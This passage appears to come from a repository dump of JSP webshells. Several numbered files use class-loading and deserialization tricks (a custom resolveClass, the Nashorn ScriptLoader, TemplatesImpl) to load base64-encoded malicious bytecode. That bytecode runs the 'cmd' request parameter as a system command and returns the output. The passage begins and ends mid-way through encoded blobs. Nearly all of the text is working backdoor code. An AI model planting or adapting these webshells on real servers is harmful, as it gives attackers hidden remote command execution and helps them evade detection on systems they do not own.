nDLF5g2J3Wp4wZSdIZ3TZ0yyBbesayDcn2ixJpXcMRht70dEZiDDtj6UY2Y6cz9nQmbesEdHEKXtTwEl6mRl0Zk4LrGl7BDQWvangNr8vY32BgvRrexFsa3sY7Ct7V8B7eZ9jiapu5cLQ4Pc0dboxy3U0oWBWctd2bc7ieLcukvQ8k+VDDRzJYpjJsdeE24aepgNTrdmbEnTgNH+MTDZ/iMw2f42YDciTP7SryC3xJLbmUz9iMk7sqh1rDV9gnXd6Sw1y7mrrkyz0tS7faJZ/SkyLnzFZd1OdWX8jZAjUqw7py8+W5I0itXc9TsAbDoZaat9Ibcryr/srN1VHgeZpVioWGo1nz+kWu/M6wcUk8WrSFKTeAHIkas7lufVWOI9Uca2W+qIsZWidtpMoQaRL/6oNVZ6PRssyJLGtUROOkZUVnhWS3hpop901GGXyhyahc6L5C3jKFHOomrpuEQz8BvMSTDKG1tgBdWZIXCpG68lUOaVSpBnUX31MtYX1HRJayWCGQ0Xcvicpj4Z76ZRVi7r5p5yVa+OTvcNNSTMZWm5hI3yXSNrhFu1wG17SQ4+VfiUq1vaFyZa86ptQ53dxjdKXPpdlb7a4781Rc4f7Ajjl60u23JrUfx27cQ98SDHvow2I9PWld0pdDCGAl+OCn07/2z4MtwpOYR1ss4F2Ab7jCHZxD+3dQiAb8RObQcaFRopYlA6S4bhFa4lDbj9AWsH4BG+bRGeiaw8Y5BObQPeBbxKbEIjYngr55bJlHz0B7kFS3JgaUXxA4EHTNBYlM3L7zd9BbsUOPbQu46xY6a0cL2F57P0C+57CDuJ0L2DVxG/5hCm73InoTUjSPu3+mrDX8ht/pM8aDPso4ii63Gl5sIEkXAtiIg0RPoxsmfRZdwxbayD24iSC+wTZ8j+2kv4ss7MAf2Ik/ydJ+svAgfHcIrCg4oOCggkPVv34FYeAfBInbeYcseMoQMAX3eXE/6Xopql76P4wjROk+CEUbm54e9i1R5kba7p7sIXq0Bdx+og9QVJ41cGE8JM/xMHHHWsAfXYYfaAF/bBk+0kLcJ4gebwE3SPQRF13FeZrizuAGHsVjy3DeprhhoiepG9ayN0r2BvH4mrgJokM4tWYel4medit05j9QSwcIvixaIl8FAADzCwAAUEsBAhQAFAAICAgA8J2PUQAAAAACAAAAAAAAAAkABAAAAAAAAAAAAAAAAAAAAE1FVEEtSU5GL/7KAABQSwECFAAUAAgICADwnY9R8EshnEQAAABFAAAAFAAAAAAAAAAAAAAAAAA9AAAATUVUQS1JTkYvTUFOSUZFU1QuTUZQSwECCgAKAAAIAADnnY9RAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAADDAAAATUVUQS1JTkYvc2VydmljZXMvUEsBAhQAFAAICAgA552PUWOg/TEMAAAACgAAADIAAAAAAAAAAAAAAAAA8wAAAE1FVEEtSU5GL3NlcnZpY2VzL2phdmF4LnNjcmlwdC5TY3JpcHRFbmdpbmVGYWN0b3J5UEsBAhQAFAAICAgA7Z2PUb4sWiJfBQAA8wsAABAAAAAAAAAAAAAAAAAAXwEAAEV2aWxTY3JpcHQuY2xhc3NQSwUGAAAAAAUABQBbAQAA/AYAAAAA")); 27 | try { 28 | Iterator iterator = ServiceLoader 29 | .load(ScriptEngineFactory.class, new URLClassLoader(new URL[]{new URL("file:" + jarPath)})).iterator(); 30 | while (iterator.hasNext()) 31 | iterator.next(); 32 | } catch (Throwable e) { 33 | response.getOutputStream().write(e.getCause().getMessage().getBytes()); 34 | } 35 | %> 36 | 37 | -------------------------------------------------------------------------------- /jsp/12/12.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.ByteArrayInputStream" %> 2 | <%@ page import="java.io.File" %> 3 | <%@ page import="java.io.IOException" %> 4 | <%@ page import="java.io.InputStream" %> 5 | <%@ page import="java.io.ObjectInputStream" %> 6 | <%@ page import="java.io.ObjectStreamClass" %> 7 | <%@ page import="java.net.URL" %> 8 | <%@ page import="java.net.URLClassLoader" %> 9 | <%@ page import="java.nio.file.Files" %> 10 | <%@ page import="java.nio.file.Paths" %> 11 | <%@ page import="java.util.Base64" %> 12 | 13 | 14 |

重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell

15 | <% 16 | class Custom extends ObjectInputStream { 17 | 18 | public Custom(InputStream in) throws IOException { 19 | super(in); 20 | } 21 | 22 | @Override 23 | protected Class resolveClass(ObjectStreamClass desc) 24 | throws IOException, ClassNotFoundException { 25 | String name = desc.getName(); 26 | String tmp = System.getProperty("java.io.tmpdir"); 27 | Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("cmd").getBytes()); 28 | Files.write(Paths.get(tmp + File.separator + "EvilReadObject.class"), Base64.getDecoder().decode("yv66vgAAADQAoAoAJgBBBwBCCgACAEEIAEMKAEQARQcARgoAAgBHCQBIAEkIAEoKAAIASwoATABNCgBOAE8KAAYAUAoAUQBSCgBRAFMKAFQAVQcAVgcAVwoAEgBYCgARAFkKABEAWggAWwcAXAoAFwBdCgAXAF4HAF8KABoAQQcAYAoAHABhBwBiCgAeAEEKABwAYwkARABkCgBlAGYKABoAZwoAaABpCgBqAGsHAGwHAG0BABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFAAAAAAAAAAEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKcmVhZE9iamVjdAEAHihMamF2YS9pby9PYmplY3RJbnB1dFN0cmVhbTspVgEADVN0YWNrTWFwVGFibGUHAGIHAG4HAEIHAEYHAG8HAFYHAFwBAApFeGNlcHRpb25zAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHAHABAApTb3VyY2VGaWxlAQATRXZpbFJlYWRPYmplY3QuamF2YQwALQAuAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAA5qYXZhLmlvLnRtcGRpcgcAcQwAcgBzAQAQamF2YS9sYW5nL1N0cmluZwwAdAB1BwB2DAB3AHgBAANDTUQMAHkAegcAewwAfAB9BwB+DAB/AIAMAC0AgQcAggwAgwCEDACFAIYHAIcMAIgAiQEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAtAIoMAC0AiwwAjAB6AQABCgEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI0ALgwALQCOAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BABpqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbQwALQCPAQAORXZpbFJlYWRPYmplY3QMAJAAkQwAkgCTBwCUDACVAJgMAJkAmgcAmwwAnACdBwCeDACfAI4BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABlqYXZhL2lvL09iamVjdElucHV0U3RyZWFtAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL25pby9maWxlL1BhdGhzAQADZ2V0AQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsBABNqYXZhL25pby9maWxlL0ZpbGVzAQAMcmVhZEFsbEJ5dGVzAQAYKExqYXZhL25pby9maWxlL1BhdGg7KVtCAQAFKFtCKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAPcHJpbnRTdGFja1RyYWNlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEAC3dyaXRlT2JqZWN0AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAC3RvQnl0ZUFycmF5AQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuACEAHgAmAAEAJwABABoAKAApAAEAKgAAAAIAKwADAAEALQAuAAEALwAAAB0AAQABAAAABSq3AAGxAAAAAQAwAAAABgABAAAADgACADEAMgACAC8AAAEIAAUACAAAAIe7AAJZtwADTRIEuAAFTrsABlm7AAJZtwADLbYAB7IACLYABxIJtgAHtgAKA70ABrgAC7gADLcADToEuAAOGQS2AA+2ABA6BbsAEVm7ABJZGQW3ABO3ABQ6BhkGtgAVWToHxgASLBkHtgAHEha2AAdXp//ppwAITi22ABi7ABdZLLYACrcAGb8AAQAIAHMAdgAXAAIAMAAAAC4ACwAAABIACAAUAA4AFQA6ABYARwAXAFkAGQBkABoAcwAeAHYAHAB3AB0AewAfADMAAAAzAAT/AFkABwcANAcANQcANgcANwcANwcAOAcAOQAA/wAZAAMHADQHADUHADYAAEIHADoEADsAAAAEAAEAFwAJADwAPQACAC8AAABPAAMAAgAAACu7ABpZtwAbTLsAHFkrtwAduwAeWbcAH7YAILIAIbgAIiu2ACO2ACS2ACWxAAAAAQAwAAAAEgAEAAAAIwAIACQAGgAlACoAJgA7AAAABAABAD4AAgA/AAAAAgBAAJcAAAAKAAEAaABlAJYACQ==")); 29 | return Class.forName(name, false, new URLClassLoader(new URL[]{new URL("file:" + tmp + File.separator)})); 30 | } 31 | } 32 | try { 33 | new Custom(new ByteArrayInputStream(Base64.getDecoder().decode("rO0ABXNyAA5FdmlsUmVhZE9iamVjdAAAAAAAAAABAgAAeHA="))).readObject(); 34 | } catch (Exception e) { 35 | response.getOutputStream().write(e.getCause().getMessage().getBytes()); 36 | } 37 | %> 38 | 39 | -------------------------------------------------------------------------------- /jsp/6/6.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Constructor" %> 2 | <%@ page import="java.lang.reflect.Method" %> 3 | <%@ page import="java.security.CodeSource" %> 4 | <%@ page import="java.security.cert.Certificate" %> 5 | <%@ page import="java.util.Base64" %> 6 | <%@ page import="jdk.nashorn.internal.runtime.Context" %> 7 | <%@ page import="jdk.nashorn.internal.runtime.options.Options" %> 8 | <%@ page import="java.lang.reflect.InvocationTargetException" %> 9 | <%@ page import="sun.reflect.misc.MethodUtil" %> 10 | 11 | 12 |

jdk.nashorn.internal.runtime.ScriptLoader类加载器加载的JSP Webshell

13 | <% 14 | Class c = Class.forName("jdk.nashorn.internal.runtime.ScriptLoader"); 15 | final Constructor constructor = c.getDeclaredConstructor(Context.class); 16 | constructor.setAccessible(true); 17 | final Method m = c.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class); 18 | m.setAccessible(true); 19 | class A { 20 | B b; 21 | final class B { 22 | private Object o; 23 | private Object[] oo; 24 | 25 | public B() throws IllegalAccessException, InvocationTargetException, InstantiationException { 26 | o = constructor.newInstance(new Context(new Options(""), null, null)); 27 | oo = new Object[]{"EvilByteCode6", Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MRXZpbEJ5dGVDb2RlNjsBAANjbWQBAA1zdHJpbmdCdWlsZGVyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEADVN0YWNrTWFwVGFibGUHAE4HAGAHAD8HAEABAApFeGNlcHRpb25zBwBhAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABWJ5dGVzAQACW0IBAARjb2RlAQAKU291cmNlRmlsZQEAEkV2aWxCeXRlQ29kZTYuamF2YQwAHQBiAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAYwwAZABlDABmAGcHAGgMAGkAagwAHQBrDAAdAGwMAG0AMgwAbgBvAQABCgwAMQAyDAAbABwBAA1FdmlsQnl0ZUNvZGU2BwBwDABxAHIBABNFdmlsQnl0ZUNvZGU2LmNsYXNzBwBzDAB0AHUHAHYMAHcAeAwAeQB6BwB7DAB8AH8HAIAMAIEAggcAgwwAhACFBwCGDACHAB4BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAPamF2YS9sYW5nL0NsYXNzAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQATZ2V0UmVzb3VyY2VBc1N0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07AQATamF2YS9pby9JbnB1dFN0cmVhbQEACWF2YWlsYWJsZQEAAygpSQEABHJlYWQBAAUoW0IpSQEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4AIQAQABoAAAABAAAAGwAcAAAAAwABAB0AHgACAB8AAADSAAYABQAAAEcqtwABuwACWbcAA027AARZuwAFWbgABiu2AAe2AAi3AAm3AApOLbYAC1k6BMYAEiwZBLYADBINtgAMV6f/6iostgAOtQAPsQAAAAMAIAAAAB4ABwAAAAsABAAMAAwADQAlAA8ALwAQAD4AEgBGABMAIQAAADQABQAAAEcAIgAjAAAAAABHACQAHAABAAwAOwAlACYAAgAlACIAJwAoAAMALAAbACkAHAAEACoAAAAbAAL/ACUABAcAKwcALAcALQcALgAA/AAYBwAsAC8AAAAEAAEAMAABADEAMgABAB8AAAAvAAEAAQAAAAUqtAAPsAAAAAIAIAAAAAYAAQAAABcAIQAAAAwAAQAAAAUAIgAjAAAACQAzADQAAgAfAAAAhAACAAQAAAAoEhC2ABESErYAE0wrtgAUvAhNKyy2ABVXuAAWLLYAF06yABgttgAZsQAAAAIAIAAAABoABgAAABsACwAcABIAHQAYAB4AIAAfACcAIAAhAAAAKgAEAAAAKAA1ADYAAAALAB0ANwA4AAEAEgAWADkAOgACACAACAA7ABwAAwAvAAAABAABADAAAgA8AAAAAgA9AH4AAAAKAAEAWQBXAH0ACQ=="), new CodeSource(null, (Certificate[]) null)}; 28 | } 29 | } 30 | 31 | public A() throws IllegalAccessException, InstantiationException, InvocationTargetException { 32 | b = new B(); 33 | } 34 | 35 | public Class invokex(Method method) 36 | throws InvocationTargetException, IllegalAccessException { 37 | return (Class) MethodUtil.invoke(method, b.o, b.oo); 38 | } 39 | } 40 | 41 | Class target = new A().invokex(m); 42 | response.getOutputStream().write(target.getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes()); 43 | %> 44 | 45 | -------------------------------------------------------------------------------- /jsp/11/11.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %> 2 | <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %> 3 | <%@ page import="java.io.File" %> 4 | <%@ page import="java.io.FileInputStream" %> 5 | <%@ page import="java.lang.reflect.Field" %> 6 | <%@ page import="java.nio.file.Files" %> 7 | <%@ page import="java.nio.file.Paths" %> 8 | <%@ page import="java.util.Base64" %> 9 | <%@ page import="java.util.HashMap" %> 10 | <%@ page import="sun.misc.IOUtils" %> 11 | <%@ page import="sun.reflect.misc.FieldUtil" %> 12 | 13 | 14 |

利用TemplatesImpl触发的JSP Webshell

15 | <% 16 | String tmp = System.getProperty("java.io.tmpdir"); 17 | String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; 18 | String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt"; 19 | String s = request.getParameter("cmd"); 20 | if (Files.exists(Paths.get(inputFile))) 21 | Files.delete(Paths.get(inputFile)); 22 | Files.write(Paths.get(inputFile), s.getBytes()); 23 | 24 | TemplatesImpl t = new TemplatesImpl(); 25 | Field field = FieldUtil.getDeclaredFields(t.getClass())[4]; 26 | byte[][] bytes = new byte[1][]; 27 | bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABFFdmlsVHJhbnNsZXQuamF2YQwAJwAoAQAOamF2YS5pby50bXBkaXIHAGYMAGcAaAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABpAGoHAGsMAGwAbQEAA2NtZAwAbgBvAQAGcmVzdWx0BwBwDABxAHIBABBqYXZhL2xhbmcvU3RyaW5nBwBzDAB0AHUHAHYMAHcAeAwAJwB5AQABJQEAAAwAegB7AQABIAwAfAB9DAB+AH8HAIAMAIEAggEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAnAIMMACcAhAwAhQBvAQABCgEAGGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbgwAhgCHDACIAIkMAIoAiwEAGGphdmEvbmlvL2ZpbGUvT3Blbk9wdGlvbgwAjACNAQATamF2YS9sYW5nL1Rocm93YWJsZQwAjgAoAQAMRXZpbFRyYW5zbGV0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSW5wdXRTdHJlYW0BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBABNqYXZhL25pby9maWxlL1BhdGhzAQADZ2V0AQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsBABNqYXZhL25pby9maWxlL0ZpbGVzAQAMcmVhZEFsbEJ5dGVzAQAYKExqYXZhL25pby9maWxlL1BhdGg7KVtCAQAFKFtCKVYBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGZXhpc3RzAQAyKExqYXZhL25pby9maWxlL1BhdGg7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KVoBAAZkZWxldGUBABcoTGphdmEvbmlvL2ZpbGUvUGF0aDspVgEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQBHKExqYXZhL25pby9maWxlL1BhdGg7W0JbTGphdmEvbmlvL2ZpbGUvT3Blbk9wdGlvbjspTGphdmEvbmlvL2ZpbGUvUGF0aDsBAA9wcmludFN0YWNrVHJhY2UAIQAlACYAAAAAAAMAAQAnACgAAQApAAABcAAFAAgAAADbKrcAARICuAADTLsABFm3AAUrtgAGsgAHtgAGEgi2AAa2AAlNuwAEWbcABSu2AAayAAe2AAYSCrYABrYACU64AAu7AAxZLAO9AAy4AA24AA63AA8SEBIRtgASEhO2ABS2ABW2ABY6BLsABFm3AAU6BbsAF1m7ABhZGQS3ABm3ABo6BhkGtgAbWToHxgATGQUZB7YABhIctgAGV6f/6C0DvQAMuAANA70AHbgAHpkADi0DvQAMuAANuAAfLQO9AAy4AA0ZBbYACbYAIAO9ACG4ACJXpwAITCu2ACSxAAEABADSANUAIwACACoAAABCABAAAAAPAAQAEQAKABIAJAATAD4AFQBnABYAcAAXAIIAGQCNABoAnQAcAK8AHQC6AB4A0gAhANUAHwDWACAA2gAiACsAAAAzAAX/AIIABwcALAcALQcALQcALQcALgcALwcAMAAA/AAaBwAtHP8AGgABBwAsAAEHADEEAAEAMgAzAAIAKQAAABkAAAADAAAAAbEAAAABACoAAAAGAAEAAAAnADQAAAAEAAEANQABADIANgACACkAAAAZAAAABAAAAAGxAAAAAQAqAAAABgABAAAALQA0AAAABAABADUAAQA3AAAAAgA4"); 28 | field.setAccessible(true); 29 | field.set(t, bytes); 30 | 31 | Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12]; 32 | field2.setAccessible(true); 33 | field2.set(t, TransformerFactoryImpl.newInstance()); 34 | 35 | Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3]; 36 | field3.setAccessible(true); 37 | field3.set(t, "evil"); 38 | 39 | Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7]; 40 | field4.setAccessible(true); 41 | field4.set(t, new HashMap<>()); 42 | 43 | try { 44 | t.getOutputProperties(); 45 | } catch (Exception e) {} 46 | 47 | String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true)); 48 | response.getOutputStream().write(resutl.getBytes()); 49 | %> 50 | 51 | -------------------------------------------------------------------------------- /jsp/18/18.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %> 2 | <%@ page import="java.io.ByteArrayInputStream" %> 3 | <%@ page import="java.io.ObjectInputStream" %> 4 | <%@ page import="java.nio.file.Files" %> 5 | <%@ page import="java.nio.file.Paths" %> 6 | <%@ page import="java.util.Base64" %> 7 | <%@ page import="java.util.Map" %> 8 | <%@ page import="java.io.File" %> 9 | 10 | 11 |

利用TemplatesImpl反序列化的JSP Webshell

12 | <% 13 | String tmp = System.getProperty("java.io.tmpdir"); 14 | Files.write(Paths.get(tmp + File.separator + "cmd"), request.getParameter("cmd").getBytes()); 15 | TemplatesImpl t = (TemplatesImpl) ((Map) new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAABcHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAC/DK/rq+AAAANACYCgAjAE0IAE4IAE8KAFAAUQcAUgoAUwBUCgBVAFYKAAUAVwgAWAgAWQoABQBaCABbCgAFAFwKAFAAXQoAXgBfBwBgCgAQAE0HAGEHAGIKABMAYwoAEgBkCgASAGUKABAAZggAZwcAaAoAVQBpCgBVAGoKABAAawoABQBsBwBtCgBVAG4HAG8KACAAcAcAcQcAcgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAlpbnB1dEZpbGUBABJMamF2YS9sYW5nL1N0cmluZzsBAApvdXRwdXRGaWxlAQALaW5wdXRTdHJlYW0BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAA1zdHJpbmdCdWlsZGVyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAR0aGlzAQATTFRocmVlZHIzYW1TY3JpcHQyOwEADVN0YWNrTWFwVGFibGUHAHEHAFIHAHMHAGAHAGEHAG8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb2